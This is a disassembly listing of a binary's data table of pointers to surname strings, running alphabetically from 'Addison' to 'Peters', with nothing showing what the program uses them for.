off_42D9A8 dd offset aAddison ; DATA XREF: sub_40AE84+39o
; "Addison"
dd offset aAdelstein ; "Adelstein"
dd offset aAdibe ; "Adibe"
dd offset aAdorno ; "Adorno"
dd offset aAhlers ; "Ahlers"
dd offset aAlavi ; "Alavi"
dd offset aAlcorn ; "Alcorn"
dd offset aAlda ; "Alda"
dd offset aAleks ; "Aleks"
dd offset aAllison ; "Allison"
dd offset aAlongi ; "Alongi"
dd offset aAltavilla ; "Altavilla"
dd offset aAltenberger ; "Altenberger"
dd offset aAltenhofen ; "Altenhofen"
dd offset aAmaral ; "Amaral"
dd offset aAmatangelo ; "Amatangelo"
dd offset aAmeer ; "Ameer"
dd offset aAmsden ; "Amsden"
dd offset aAnand ; "Anand"
dd offset aAndel ; "Andel"
dd offset aAndo ; "Ando"
dd offset aAndrelus ; "Andrelus"
dd offset aAndron ; "Andron"
dd offset aAnfinrud ; "Anfinrud"
dd offset aAnsley ; "Ansley"
dd offset aAnthony ; "Anthony"
dd offset aAntos ; "Antos"
dd offset aArbia ; "Arbia"
dd offset aArduini ; "Arduini"
dd offset aArellano ; "Arellano"
dd offset aAristotle ; "Aristotle"
dd offset aArjas ; "Arjas"
dd offset aArky ; "Arky"
dd offset aAtkins ; "Atkins"
dd offset aAugustus ; "Augustus"
dd offset aAurelius ; "Aurelius"
dd offset aAxelrod ; "Axelrod"
dd offset aAxworthy ; "Axworthy"
dd offset aAyiemba ; "Ayiemba"
dd offset aAykroyd ; "Aykroyd"
dd offset aAyling ; "Ayling"
dd offset aAzima ; "Azima"
dd offset aBachmuth ; "Bachmuth"
dd offset aBackus ; "Backus"
dd offset aBady ; "Bady"
dd offset aBaglivo ; "Baglivo"
dd offset aBagnold ; "Bagnold"
dd offset aBailar ; "Bailar"
dd offset aBakanowsky ; "Bakanowsky"
dd offset aBaleja ; "Baleja"
dd offset aBallatori ; "Ballatori"
dd offset aBallew ; "Ballew"
dd offset aBaltz ; "Baltz"
dd offset aBanta ; "Banta"
dd offset aBarabesi ; "Barabesi"
dd offset aBarajas ; "Barajas"
dd offset aBaranczak ; "Baranczak"
dd offset aBaranowska ; "Baranowska"
dd offset aBarberi ; "Barberi"
dd offset aBarbetti ; "Barbetti"
dd offset aBarneson ; "Barneson"
dd offset aBarnett ; "Barnett"
dd offset aBarriola ; "Barriola"
dd offset aBarry ; "Barry"
dd offset aBartholomew ; "Bartholomew"
dd offset aBartolome ; "Bartolome"
dd offset aBartoo ; "Bartoo"
dd offset aBasavappa ; "Basavappa"
dd offset aBashevis ; "Bashevis"
dd offset aBatchelder ; "Batchelder"
dd offset aBaumiller ; "Baumiller"
dd offset aBayles ; "Bayles"
dd offset aBayo ; "Bayo"
dd offset aBeacon ; "Beacon"
dd offset aBeal ; "Beal"
dd offset aBean ; "Bean"
dd offset aBeckman ; "Beckman"
dd offset aBeder ; "Beder"
dd offset aBedford ; "Bedford"
dd offset aBehenna ; "Behenna"
dd offset aBelanger ; "Belanger"
dd offset aBelaoussof ; "Belaoussof"
dd offset aBelfer ; "Belfer"
dd offset aBelinCollart ; "Belin-Collart"
dd offset aBellavance ; "Bellavance"
dd offset aBellhouse ; "Bellhouse"
dd offset aBellini ; "Bellini"
dd offset aBelloc ; "Belloc"
dd offset aBenedictDye ; "Benedict-Dye"
dd offset aBergson ; "Bergson"
dd offset aBerkeJenkins ; "Berke-Jenkins"
dd offset aBernardo ; "Bernardo"
dd offset aBernassola ; "Bernassola"
dd offset aBernston ; "Bernston"
dd offset aBerrizbeitia ; "Berrizbeitia"
dd offset aBetti ; "Betti"
dd offset aBeynart ; "Beynart"
dd offset aBiagioli ; "Biagioli"
dd offset aBickel ; "Bickel"
dd offset aBinion ; "Binion"
dd offset aBir ; "Bir"
dd offset aBisema ; "Bisema"
dd offset aBisho ; "Bisho"
dd offset aBlackbourn ; "Blackbourn"
dd offset aBlackwell ; "Blackwell"
dd offset aBlagg ; "Blagg"
dd offset aBlakemore ; "Blakemore"
dd offset aBlanke ; "Blanke"
dd offset aBliss ; "Bliss"
dd offset aBlizard ; "Blizard"
dd offset aBloch ; "Bloch"
dd offset aBloembergen ; "Bloembergen"
dd offset aBloemhof ; "Bloemhof"
dd offset aBloxham ; "Bloxham"
dd offset aBlyth ; "Blyth"
dd offset aBolger ; "Bolger"
dd offset aBolick ; "Bolick"
dd offset aBollinger ; "Bollinger"
dd offset aBologna ; "Bologna"
dd offset aBoner ; "Boner"
dd offset aBonham ; "Bonham"
dd offset aBoniface ; "Boniface"
dd offset aBontempo ; "Bontempo"
dd offset aBook ; "Book"
dd offset aBookbinder ; "Bookbinder"
dd offset aBoone ; "Boone"
dd offset aBoorstin ; "Boorstin"
dd offset aBorack ; "Borack"
dd offset aBorden ; "Borden"
dd offset aBossi ; "Bossi"
dd offset aBothman ; "Bothman"
dd offset aBotosh ; "Botosh"
dd offset aBoudin ; "Boudin"
dd offset aBoudrot ; "Boudrot"
dd offset aBourneuf ; "Bourneuf"
dd offset aBowers ; "Bowers"
dd offset aBoxer ; "Boxer"
dd offset aBoyajian ; "Boyajian"
dd offset aBoyes ; "Boyes"
dd offset aBoyland ; "Boyland"
dd offset aBoym ; "Boym"
dd offset aBoyne ; "Boyne"
dd offset aBracalente ; "Bracalente"
dd offset aBradac ; "Bradac"
dd offset aBradach ; "Bradach"
dd offset aBrecht ; "Brecht"
dd offset aBreed ; "Breed"
dd offset aBrenan ; "Brenan"
dd offset aBrennan ; "Brennan"
dd offset aBrewer ; "Brewer"
dd offset aBrewer ; "Brewer"
dd offset aBridgeman ; "Bridgeman"
dd offset aBridges ; "Bridges"
dd offset aBrinton ; "Brinton"
dd offset aBritz ; "Britz"
dd offset aBroca ; "Broca"
dd offset aBrook ; "Brook"
dd offset aBrzycki ; "Brzycki"
dd offset aBuchan ; "Buchan"
dd offset aBudding ; "Budding"
dd offset aBullard ; "Bullard"
dd offset aBunton ; "Bunton"
dd offset aBurden ; "Burden"
dd offset aBurdzy ; "Burdzy"
dd offset aBurke ; "Burke"
dd offset aBurridge ; "Burridge"
dd offset aBusetta ; "Busetta"
dd offset aByatt ; "Byatt"
dd offset aByerly ; "Byerly"
dd offset aByrd ; "Byrd"
dd offset aCage ; "Cage"
dd offset aCalnan ; "Calnan"
dd offset aCammelli ; "Cammelli"
dd offset aCammilleri ; "Cammilleri"
dd offset aCanley ; "Canley"
dd offset aCapanni ; "Capanni"
dd offset aCaperton ; "Caperton"
dd offset aCapocaccia ; "Capocaccia"
dd offset aCapodilupo ; "Capodilupo"
dd offset aCappuccio ; "Cappuccio"
dd offset aCapursi ; "Capursi"
dd offset aCaratozzolo ; "Caratozzolo"
dd offset aCarayannopoulo ; "Carayannopoulos"
dd offset aCarlin ; "Carlin"
dd offset aCarlos ; "Carlos"
dd offset aCarlyle ; "Carlyle"
dd offset aCarmichael ; "Carmichael"
dd offset aCaroti ; "Caroti"
dd offset aCarper ; "Carper"
dd offset aCartmill ; "Cartmill"
dd offset aCascio ; "Cascio"
dd offset aCase ; "Case"
dd offset aCaspar ; "Caspar"
dd offset aCastelda ; "Castelda"
dd offset aCavanagh ; "Cavanagh"
dd offset aCavell ; "Cavell"
dd offset aCeniceros ; "Ceniceros"
dd offset aCerioli ; "Cerioli"
dd offset aChapman ; "Chapman"
dd offset aCharles ; "Charles"
dd offset aCheang ; "Cheang"
dd offset aCherry ; "Cherry"
dd offset aChervinsky ; "Chervinsky"
dd offset aChiassino ; "Chiassino"
dd offset aChien ; "Chien"
dd offset aChildress ; "Childress"
dd offset aChilds ; "Childs"
dd offset aChinipardaz ; "Chinipardaz"
dd offset aChinman ; "Chinman"
dd offset aChristenson ; "Christenson"
dd offset aChristian ; "Christian"
dd offset aChristiano ; "Christiano"
dd offset aChristie ; "Christie"
dd offset aChristopher ; "Christopher"
dd offset aChu ; "Chu"
dd offset aChupasko ; "Chupasko"
dd offset aChurch ; "Church"
dd offset aCiampaglia ; "Ciampaglia"
dd offset aCicero ; "Cicero"
dd offset aCifarelli ; "Cifarelli"
dd offset aClaffey ; "Claffey"
dd offset aClancy ; "Clancy"
dd offset aClark ; "Clark"
dd offset aClement ; "Clement"
dd offset aClifton ; "Clifton"
dd offset aClow ; "Clow"
dd offset aCoblenz ; "Coblenz"
dd offset aCoito ; "Coito"
dd offset aColdren ; "Coldren"
dd offset aColella ; "Colella"
dd offset aCollard ; "Collard"
dd offset aCollis ; "Collis"
dd offset aCompton ; "Compton"
dd offset aCompton ; "Compton"
dd offset aComstock ; "Comstock"
dd offset aConcino ; "Concino"
dd offset aCondodina ; "Condodina"
dd offset aConnors ; "Connors"
dd offset aCorey ; "Corey"
dd offset aCornish ; "Cornish"
dd offset aCosmides ; "Cosmides"
dd offset aCounter ; "Counter"
dd offset aCoutaux ; "Coutaux"
dd offset aCrawford ; "Crawford"
dd offset aCrocker ; "Crocker"
dd offset aCroshaw ; "Croshaw"
dd offset aCroxen ; "Croxen"
dd offset aCroxton ; "Croxton"
dd offset aCui ; "Cui"
dd offset aCurrier ; "Currier"
dd offset aCutler ; "Cutler"
dd offset aCvek ; "Cvek"
dd offset aCyders ; "Cyders"
dd offset aDasilva ; "daSilva"
dd offset aDaldalian ; "Daldalian"
dd offset aDaly ; "Daly"
dd offset aDAmbra ; "D'Ambra"
dd offset aDanieli ; "Danieli"
dd offset aDante ; "Dante"
dd offset aDapice ; "Dapice"
dd offset aDArcangelo ; "D'arcangelo"
dd offset aDas ; "Das"
dd offset aDasgupta ; "Dasgupta"
dd offset aDaskalu ; "Daskalu"
dd offset aDavid ; "David"
dd offset aDawkins ; "Dawkins"
dd offset aDegennaro ; "DeGennaro"
dd offset aDelapena ; "DeLaPena"
dd offset aDelEnclos ; "del'Enclos"
dd offset aDerousse ; "deRousse"
dd offset aDebroff ; "Debroff"
dd offset aDees ; "Dees"
dd offset aDefeciani ; "Defeciani"
dd offset aDelattre ; "Delattre"
dd offset aDeleonRendon ; "Deleon-Rendon"
dd offset aDelger ; "Delger"
dd offset aDellAcqua ; "Dell'acqua"
dd offset aDeming ; "Deming"
dd offset aDempster ; "Dempster"
dd offset aDemusz ; "Demusz"
dd offset aDenault ; "Denault"
dd offset aDenham ; "Denham"
dd offset aDenison ; "Denison"
dd offset aDesombre ; "Desombre"
dd offset aDeutsch ; "Deutsch"
dd offset aDFini ; "D'fini"
dd offset aDicks ; "Dicks"
dd offset aDiefenbach ; "Diefenbach"
dd offset aDifabio ; "Difabio"
dd offset aDifronzo ; "Difronzo"
dd offset aDilworth ; "Dilworth"
dd offset aDionysius ; "Dionysius"
dd offset aDirksen ; "Dirksen"
dd offset aDockery ; "Dockery"
dd offset aDoherty ; "Doherty"
dd offset aDonahue ; "Donahue"
dd offset aDonner ; "Donner"
dd offset aDoonan ; "Doonan"
dd offset aDore ; "Dore"
dd offset aDorf ; "Dorf"
dd offset aDosi ; "Dosi"
dd offset aDoty ; "Doty"
dd offset aDoug ; "Doug"
dd offset aDowsland ; "Dowsland"
dd offset aDrinker ; "Drinker"
dd offset aDSouza ; "D'souza"
dd offset aDuffin ; "Duffin"
dd offset aDurrett ; "Durrett"
dd offset aDussault ; "Dussault"
dd offset aDwyer ; "Dwyer"
dd offset aEardley ; "Eardley"
dd offset aEbeling ; "Ebeling"
dd offset aEckel ; "Eckel"
dd offset aEdley ; "Edley"
dd offset aEdner ; "Edner"
dd offset aEdward ; "Edward"
dd offset aEickenhorst ; "Eickenhorst"
dd offset aEliasson ; "Eliasson"
dd offset aElmendorf ; "Elmendorf"
dd offset aElmerick ; "Elmerick"
dd offset aElvis ; "Elvis"
dd offset aEncinas ; "Encinas"
dd offset aEnyeart ; "Enyeart"
dd offset aEppling ; "Eppling"
dd offset aErbach ; "Erbach"
dd offset aErdman ; "Erdman"
dd offset aErdos ; "Erdos"
dd offset aErez ; "Erez"
dd offset aEspinoza ; "Espinoza"
dd offset aEstes ; "Estes"
dd offset aEtter ; "Etter"
dd offset aEuripides ; "Euripides"
dd offset aEverett ; "Everett"
dd offset aFabbris ; "Fabbris"
dd offset aFagan ; "Fagan"
dd offset aFaioes ; "Faioes"
dd offset aFalcoAcosta ; "Falco-Acosta"
dd offset aFalorsi ; "Falorsi"
dd offset aFaris ; "Faris"
dd offset aFarone ; "Farone"
dd offset aFarren ; "Farren"
dd offset aFasso ; "Fasso'"
dd offset aFates ; "Fates"
dd offset aFeigenbaum ; "Feigenbaum"
dd offset aFejzo ; "Fejzo"
dd offset aFeldman ; "Feldman"
dd offset aFernald ; "Fernald"
dd offset aFernandes ; "Fernandes"
dd offset aFerrante ; "Ferrante"
dd offset aFerriell ; "Ferriell"
dd offset aFeuer ; "Feuer"
dd offset aFido ; "Fido"
dd offset aField ; "Field"
dd offset aFink ; "Fink"
dd offset aFinkelstein ; "Finkelstein"
dd offset aFinnegan ; "Finnegan"
dd offset aFiorina ; "Fiorina"
dd offset aFisk ; "Fisk"
dd offset aFitzmaurice ; "Fitzmaurice"
dd offset aFlier ; "Flier"
dd offset aFlores ; "Flores"
dd offset aFolks ; "Folks"
dd offset aForester ; "Forester"
dd offset aFortes ; "Fortes"
dd offset aFortier ; "Fortier"
dd offset aFossey ; "Fossey"
dd offset aFossi ; "Fossi"
dd offset aFrancisco ; "Francisco"
dd offset aFranklinKenea ; "Franklin-Kenea"
dd offset aFranz ; "Franz"
dd offset aFrazierDavis ; "Frazier-Davis"
dd offset aFreid ; "Freid"
dd offset aFreundlich ; "Freundlich"
dd offset aFried ; "Fried"
dd offset aFriedland ; "Friedland"
dd offset aFrisken ; "Frisken"
dd offset aFrowiss ; "Frowiss"
dd offset aFryberger ; "Fryberger"
dd offset aFrye ; "Frye"
dd offset aFujiiAbe ; "Fujii-Abe"
dd offset aFuller ; "Fuller"
dd offset aFurth ; "Furth"
dd offset aFusaro ; "Fusaro"
dd offset aGabrielli ; "Gabrielli"
dd offset aGaggiotti ; "Gaggiotti"
dd offset aGaleotti ; "Galeotti"
dd offset aGalwey ; "Galwey"
dd offset aGambini ; "Gambini"
dd offset aGarfield ; "Garfield"
dd offset aGarman ; "Garman"
dd offset aGaronna ; "Garonna"
dd offset aGeller ; "Geller"
dd offset aGemberling ; "Gemberling"
dd offset aGeorgi ; "Georgi"
dd offset aGerrett ; "Gerrett"
dd offset aGhorai ; "Ghorai"
dd offset aGibbens ; "Gibbens"
dd offset aGibson ; "Gibson"
dd offset aGilbert ; "Gilbert"
dd offset aGili ; "Gili"
dd offset aGill ; "Gill"
dd offset aGillispie ; "Gillispie"
dd offset aGist ; "Gist"
dd offset aGleason ; "Gleason"
dd offset aGlegg ; "Glegg"
dd offset aGlendon ; "Glendon"
dd offset aGoldfarb ; "Goldfarb"
dd offset aGoncalves ; "Goncalves"
dd offset aGood ; "Good"
dd offset aGoodearl ; "Goodearl"
dd offset aGoody ; "Goody"
dd offset aGozzi ; "Gozzi"
dd offset aGravell ; "Gravell"
dd offset aGreenberg ; "Greenberg"
dd offset aGreenfeld ; "Greenfeld"
dd offset aGriffiths ; "Griffiths"
dd offset aGrigoletto ; "Grigoletto"
dd offset aGrummell ; "Grummell"
dd offset aGruner ; "Gruner"
dd offset aGruppe ; "Gruppe"
dd offset aGuenthart ; "Guenthart"
dd offset aGunn ; "Gunn"
dd offset aGuo ; "Guo"
dd offset aHa ; "Ha"
dd offset aHaar ; "Haar"
dd offset aHackman ; "Hackman"
dd offset aHackshaw ; "Hackshaw"
dd offset aHaley ; "Haley"
dd offset aHalkias ; "Halkias"
dd offset aHallowell ; "Hallowell"
dd offset aHalpert ; "Halpert"
dd offset aHambarzumjan ; "Hambarzumjan"
dd offset aHamer ; "Hamer"
dd offset aHammerness ; "Hammerness"
dd offset aHand ; "Hand"
dd offset aHanssen ; "Hanssen"
dd offset aHarding ; "Harding"
dd offset aHargraves ; "Hargraves"
dd offset aHarlow ; "Harlow"
dd offset aHarrigan ; "Harrigan"
dd offset aHartman ; "Hartman"
dd offset aHartmann ; "Hartmann"
dd offset aHartnett ; "Hartnett"
dd offset aHarwell ; "Harwell"
dd offset aHaviaras ; "Haviaras"
dd offset aHawkes ; "Hawkes"
dd offset aHayes ; "Hayes"
dd offset aHaynes ; "Haynes"
dd offset aHazlewood ; "Hazlewood"
dd offset aHeermans ; "Heermans"
dd offset aHeft ; "Heft"
dd offset aHeiland ; "Heiland"
dd offset aHellman ; "Hellman"
dd offset aHellmiss ; "Hellmiss"
dd offset aHelprin ; "Helprin"
dd offset aHemphill ; "Hemphill"
dd offset aHenery ; "Henery"
dd offset aHenrichs ; "Henrichs"
dd offset aHernandez ; "Hernandez"
dd offset aHerrera ; "Herrera"
dd offset aHester ; "Hester"
dd offset aHeubert ; "Heubert"
dd offset aHeyeck ; "Heyeck"
dd offset aHimmelfarb ; "Himmelfarb"
dd offset aHind ; "Hind"
dd offset aHirst ; "Hirst"
dd offset aHitchcock ; "Hitchcock"
dd offset aHoang ; "Hoang"
dd offset aHock ; "Hock"
dd offset aHoffer ; "Hoffer"
dd offset aHoffman ; "Hoffman"
dd offset aHokanson ; "Hokanson"
dd offset aHokoda ; "Hokoda"
dd offset aHolmes ; "Holmes"
dd offset aHoloien ; "Holoien"
dd offset aHolter ; "Holter"
dd offset aHolway ; "Holway"
dd offset aHolzman ; "Holzman"
dd offset aHooker ; "Hooker"
dd offset aHopkins ; "Hopkins"
dd offset aHorsley ; "Horsley"
dd offset aHoshida ; "Hoshida"
dd offset aHostage ; "Hostage"
dd offset aHottle ; "Hottle"
dd offset aHoward ; "Howard"
dd offset aHoy ; "Hoy"
dd offset aHuey ; "Huey"
dd offset aHuidekoper ; "Huidekoper"
dd offset aHungerford ; "Hungerford"
dd offset aHuntington ; "Huntington"
dd offset aHupp ; "Hupp"
dd offset aHurtubise ; "Hurtubise"
dd offset aHutchings ; "Hutchings"
dd offset aHyde ; "Hyde"
dd offset aIaquinta ; "Iaquinta"
dd offset aIchikawa ; "Ichikawa"
dd offset aIgarashi ; "Igarashi"
dd offset aInamura ; "Inamura"
dd offset aInniss ; "Inniss"
dd offset aIsaac ; "Isaac"
dd offset aIsaievych ; "Isaievych"
dd offset aIsbill ; "Isbill"
dd offset aIsserman ; "Isserman"
dd offset aIyer ; "Iyer"
dd offset aJacenko ; "Jacenko"
dd offset aJackson ; "Jackson"
dd offset aJagers ; "Jagers"
dd offset aJagger ; "Jagger"
dd offset aJagoe ; "Jagoe"
dd offset aJain ; "Jain"
dd offset aJamil ; "Jamil"
dd offset aJanjigian ; "Janjigian"
dd offset aJarnagin ; "Jarnagin"
dd offset aJarrell ; "Jarrell"
dd offset aJay ; "Jay"
dd offset aJeffers ; "Jeffers"
dd offset aJellis ; "Jellis"
dd offset aJenkins ; "Jenkins"
dd offset aJespersen ; "Jespersen"
dd offset aJewett ; "Jewett"
dd offset aJohannesson ; "Johannesson"
dd offset aJohannsen ; "Johannsen"
dd offset aJohns ; "Johns"
dd offset aJolly ; "Jolly"
dd offset aJorgensen ; "Jorgensen"
dd offset aJucks ; "Jucks"
dd offset aJuliano ; "Juliano"
dd offset aJulious ; "Julious"
dd offset aKabbash ; "Kabbash"
dd offset aKaboolian ; "Kaboolian"
dd offset aKafadar ; "Kafadar"
dd offset aKalbfleisch ; "Kalbfleisch"
dd offset aKaligian ; "Kaligian"
dd offset aKalil ; "Kalil"
dd offset aKalinowski ; "Kalinowski"
dd offset aKalman ; "Kalman"
dd offset aKamel ; "Kamel"
dd offset aKangis ; "Kangis"
dd offset aKarpouzes ; "Karpouzes"
dd offset aKassower ; "Kassower"
dd offset aKasten ; "Kasten"
dd offset aKawachi ; "Kawachi"
dd offset aKee ; "Kee"
dd offset aKeenan ; "Keenan"
dd offset aKeepper ; "Keepper"
dd offset aKeith ; "Keith"
dd offset aKelker ; "Kelker"
dd offset aKelsey ; "Kelsey"
dd offset aKempton ; "Kempton"
dd offset aKemsley ; "Kemsley"
dd offset aKendall ; "Kendall"
dd offset aKerry ; "Kerry"
dd offset aKeul ; "Keul"
dd offset aKhong ; "Khong"
dd offset aKimmel ; "Kimmel"
dd offset aKimmett ; "Kimmett"
dd offset aKimura ; "Kimura"
dd offset aKindall ; "Kindall"
dd offset aKinsley ; "Kinsley"
dd offset aKippenberger ; "Kippenberger"
dd offset aKirscht ; "Kirscht"
dd offset aKittridge ; "Kittridge"
dd offset aKleckner ; "Kleckner"
dd offset aKleiman ; "Kleiman"
dd offset aKleinfelder ; "Kleinfelder"
dd offset aKlemperer ; "Klemperer"
dd offset aKling ; "Kling"
dd offset aKlinkenborg ; "Klinkenborg"
dd offset aKlint ; "Klint"
dd offset aKnuff ; "Knuff"
dd offset aKobrick ; "Kobrick"
dd offset aKoch ; "Koch"
dd offset aKohn ; "Kohn"
dd offset aKoivumaki ; "Koivumaki"
dd offset aKommer ; "Kommer"
dd offset aKoniaris ; "Koniaris"
dd offset aKonrad ; "Konrad"
dd offset aKool ; "Kool"
dd offset aKorzybski ; "Korzybski"
dd offset aKotter ; "Kotter"
dd offset aKovaks ; "Kovaks"
dd offset aKraemer ; "Kraemer"
dd offset aKrailo ; "Krailo"
dd offset aKrasney ; "Krasney"
dd offset aKraus ; "Kraus"
dd offset aKroemer ; "Kroemer"
dd offset aKrysiak ; "Krysiak"
dd offset aKuenzli ; "Kuenzli"
dd offset aKumar ; "Kumar"
dd offset aKusman ; "Kusman"
dd offset aKuwabara ; "Kuwabara"
dd offset aLa ; "La"
dd offset aLabunka ; "Labunka"
dd offset aLafler ; "Lafler"
dd offset aLaing ; "Laing"
dd offset aLallemant ; "Lallemant"
dd offset aLandes ; "Landes"
dd offset aLankes ; "Lankes"
dd offset aLantieri ; "Lantieri"
dd offset aLanzit ; "Lanzit"
dd offset aLaserna ; "Laserna"
dd offset aLashley ; "Lashley"
dd offset aLawless ; "Lawless"
dd offset aLecar ; "Lecar"
dd offset aLecce ; "Lecce"
dd offset aLeclercq ; "Leclercq"
dd offset aLeite ; "Leite"
dd offset aLenard ; "Lenard"
dd offset aLEnclos ; "l'Enclos"
dd offset aLesser ; "Lesser"
dd offset aLessi ; "Lessi"
dd offset aLiakos ; "Liakos"
dd offset aLidano ; "Lidano"
dd offset aLiem ; "Liem"
dd offset aLight ; "Light"
dd offset aLightfoot ; "Lightfoot"
dd offset aLim ; "Lim"
dd offset aLinares ; "Linares"
dd offset aLinda ; "Linda"
dd offset aLinder ; "Linder"
dd offset aLine ; "Line"
dd offset aLinehan ; "Linehan"
dd offset aLinzee ; "Linzee"
dd offset aLippmann ; "Lippmann"
dd offset aLipponen ; "Lipponen"
dd offset aLittle ; "Little"
dd offset aLitvak ; "Litvak"
dd offset aLivernash ; "Livernash"
dd offset aLivi ; "Livi"
dd offset aLivolsi ; "Livolsi"
dd offset aLizardo ; "Lizardo"
dd offset aLocatelli ; "Locatelli"
dd offset aLongworth ; "Longworth"
dd offset aLoss ; "Loss"
dd offset aLoveman ; "Loveman"
dd offset aLowenstein ; "Lowenstein"
dd offset aLoza ; "Loza"
dd offset aLubin ; "Lubin"
dd offset aLucas ; "Lucas"
dd offset aLuciano ; "Luciano"
dd offset aLuczkow ; "Luczkow"
dd offset aLuecke ; "Luecke"
dd offset aLunetta ; "Lunetta"
dd offset aLuoma ; "Luoma"
dd offset aLussier ; "Lussier"
dd offset aLutcavage ; "Lutcavage"
dd offset aLuzader ; "Luzader"
dd offset aMa ; "Ma"
dd offset aMaccormac ; "Maccormac"
dd offset aMacdonald ; "Macdonald"
dd offset aMaceachern ; "Maceachern"
dd offset aMacintyre ; "Macintyre"
dd offset aMackenney ; "Mackenney"
dd offset aMacmillan ; "MacMillan"
dd offset aMacy ; "Macy"
dd offset aMadigan ; "Madigan"
dd offset aMaggio ; "Maggio"
dd offset aMahony ; "Mahony"
dd offset aMaier ; "Maier"
dd offset aMaineHershey ; "Maine-Hershey"
dd offset aMaisano ; "Maisano"
dd offset aMalatesta ; "Malatesta"
dd offset aMaller ; "Maller"
dd offset aMalova ; "Malova"
dd offset aManalis ; "Manalis"
dd offset aMandel ; "Mandel"
dd offset aManganiello ; "Manganiello"
dd offset aMantovan ; "Mantovan"
dd offset aMarch ; "March"
dd offset aMarchbanks ; "Marchbanks"
dd offset aMarcus ; "Marcus"
dd offset aMargalit ; "Margalit"
dd offset aMargetts ; "Margetts"
dd offset aMarques ; "Marques"
dd offset aMartinez ; "Martinez"
dd offset aMartochio ; "Martochio"
dd offset aMarton ; "Marton"
dd offset aMarubini ; "Marubini"
dd offset aMass ; "Mass"
dd offset aMatalka ; "Matalka"
dd offset aMatarazzo ; "Matarazzo"
dd offset aMatsukata ; "Matsukata"
dd offset aMattson ; "Mattson"
dd offset aMauzy ; "Mauzy"
dd offset aMay ; "May"
dd offset aMazzali ; "Mazzali"
dd offset aMazziotta ; "Mazziotta"
dd offset aMcbride ; "Mcbride"
dd offset aMccaffery ; "Mccaffery"
dd offset aMccall ; "Mccall"
dd offset aMcclearn ; "Mcclearn"
dd offset aMcdowell ; "Mcdowell"
dd offset aMcelroy ; "Mcelroy"
dd offset aMcfadden ; "McFadden"
dd offset aMcghee ; "Mcghee"
dd offset aMcgoldrick ; "Mcgoldrick"
dd offset aMcilroy ; "McIlroy"
dd offset aMcintosh ; "Mcintosh"
dd offset aMckenna ; "Mckenna"
dd offset aMclane ; "Mclane"
dd offset aMclaren ; "Mclaren"
dd offset aMcnealy ; "Mcnealy"
dd offset aMcnulty ; "Mcnulty"
dd offset aMeccariello ; "Meccariello"
dd offset aMemisoglu ; "Memisoglu"
dd offset aMenzies ; "Menzies"
dd offset aMerikoski ; "Merikoski"
dd offset aMerlani ; "Merlani"
dd offset aMerminod ; "Merminod"
dd offset aMerseth ; "Merseth"
dd offset aMerz ; "Merz"
dd offset aMetelka ; "Metelka"
dd offset aMetropolis ; "Metropolis"
dd offset aMeurer ; "Meurer"
dd offset aMichelman ; "Michelman"
dd offset aMiddle ; "Middle"
dd offset aMieher ; "Mieher"
dd offset aMills ; "Mills"
dd offset aMinh ; "Minh"
dd offset aMini ; "Mini"
dd offset aMinichiello ; "Minichiello"
dd offset aGonzalez ; "Gonzalez"
dd offset aMitropoulos ; "Mitropoulos"
dd offset aMittal ; "Mittal"
dd offset aMocroft ; "Mocroft"
dd offset aModestino ; "Modestino"
dd offset aMoeller ; "Moeller"
dd offset aMohr ; "Mohr"
dd offset aMoiamedi ; "Moiamedi"
dd offset aMonque ; "Monque"
dd offset aMontilio ; "Montilio"
dd offset aMooredech_ ; "MooreDeCh."
dd offset aMorani ; "Morani"
dd offset aMoreton ; "Moreton"
dd offset aMorrison ; "Morrison"
dd offset aMorrow ; "Morrow"
dd offset aMortimer ; "Mortimer"
dd offset aMosher ; "Mosher"
dd offset aMosler ; "Mosler"
dd offset aMostafavi ; "Mostafavi"
dd offset aMotooka ; "Motooka"
dd offset aMudarri ; "Mudarri"
dd offset aMuello ; "Muello"
dd offset aMugnai ; "Mugnai"
dd offset aMulkern ; "Mulkern"
dd offset aMulroy ; "Mulroy"
dd offset aMumford ; "Mumford"
dd offset aMussachio ; "Mussachio"
dd offset aNaddeo ; "Naddeo"
dd offset aNapolitano ; "Napolitano"
dd offset aNardi ; "Nardi"
dd offset aNardone ; "Nardone"
dd offset aNaviaux ; "Naviaux"
dd offset aNayduch ; "Nayduch"
dd offset aNelson ; "Nelson"
dd offset aNenna ; "Nenna"
dd offset aNesci ; "Nesci"
dd offset aNeuman ; "Neuman"
dd offset aNewfeld ; "Newfeld"
dd offset aNewlin ; "Newlin"
dd offset aNg ; "Ng"
dd offset aNi_0 ; "Ni"
dd offset aNickerson ; "Nickerson"
dd offset aNickoloff ; "Nickoloff"
dd offset aNisenson ; "Nisenson"
dd offset aNitabach ; "Nitabach"
dd offset aNotman ; "Notman"
dd offset aNuzum ; "Nuzum"
dd offset aOcougne ; "Ocougne"
dd offset aOgata ; "Ogata"
dd offset aOh ; "Oh"
dd offset aOHagan ; "O'hagan"
dd offset aOldford ; "Oldford"
dd offset aOlsen ; "Olsen"
dd offset aOlson ; "Olson"
dd offset aOlszewski ; "Olszewski"
dd offset aOMalley ; "O'malley"
dd offset aOman ; "Oman"
dd offset aOMeara ; "O'meara"
dd offset aOpel ; "Opel"
dd offset aOray ; "Oray"
dd offset aOrfield ; "Orfield"
dd offset aOrsi ; "Orsi"
dd offset aOspina ; "Ospina"
dd offset aOstrowski ; "Ostrowski"
dd offset aOttaviani ; "Ottaviani"
dd offset aOtten ; "Otten"
dd offset aOuchida ; "Ouchida"
dd offset aOvid ; "Ovid"
dd offset aPaesdealmeida ; "PaesDealmeida"
dd offset aPaine ; "Paine"
dd offset aPalayoor ; "Palayoor"
dd offset aPalepu ; "Palepu"
dd offset aPallara ; "Pallara"
dd offset aPalmitesta ; "Palmitesta"
dd offset aPanadero ; "Panadero"
dd offset aPanizzon ; "Panizzon"
dd offset aPantilla ; "Pantilla"
dd offset aPaoletti ; "Paoletti"
dd offset aParmeggiani ; "Parmeggiani"
dd offset aParris ; "Parris"
dd offset aPartridge ; "Partridge"
dd offset aPascucci ; "Pascucci"
dd offset aPatefield ; "Patefield"
dd offset aPatrick ; "Patrick"
dd offset aPattullo ; "Pattullo"
dd offset aPavetti ; "Pavetti"
dd offset aPavlon ; "Pavlon"
dd offset aPawloski ; "Pawloski"
dd offset aPaynter ; "Paynter"
dd offset aPeabody ; "Peabody"
dd offset aPearlberg ; "Pearlberg"
dd offset aPederson ; "Pederson"
dd offset aPeishel ; "Peishel"
dd offset aPenny ; "Penny"
dd offset aPereira ; "Pereira"
dd offset aPerko ; "Perko"
dd offset aPerlak ; "Perlak"
dd offset aPerlman ; "Perlman"
dd offset aPerna ; "Perna"
dd offset aPerone ; "Perone"
dd offset aPerrimon ; "Perrimon"
dd offset aPeters ; "Peters"
